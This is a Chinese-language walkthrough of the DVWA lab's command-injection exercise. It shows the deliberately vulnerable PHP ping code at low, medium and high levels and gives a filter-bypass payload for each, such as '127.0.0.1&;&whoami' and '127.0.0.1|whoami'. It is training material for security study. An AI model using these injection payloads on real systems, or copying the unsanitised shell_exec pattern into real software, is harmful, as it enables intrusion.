DVWA靶场-命令执行漏洞

等级:low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// 获取参数
$target = $_REQUEST[ 'ip' ];
// 指定os并使用命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// 若Windows,则执行
$cmd = shell_exec( 'ping ' . $target );
}
else {
// 若为类unix,则执行
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}

?>

看到exec()函数,一眼命令执行
直接输入127.0.0.1&&whoami

存在命令执行漏洞

DVWA靶场-命令执行漏洞

等级:medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取输入值
$target = $_REQUEST[ 'ip' ];
// 过滤
$substitutions = array(
'&&' => '',
';' => '',
);//组成数组
// 替换掉含有该数组的键为值.
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>

分析可得:此时过滤掉“;”与“&&”
此时只需要127.0.0.1&;&whoami即可

成功;

等级:high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取输入值
$target = trim($_REQUEST[ 'ip' ]);
// 设置过滤值
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// 清空特殊值
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
$html .= "<pre>{$cmd}</pre>";
}
?>

注意到”| “后面存在空格
所以可以输入127.0.0.1|whoami

存在命令执行漏洞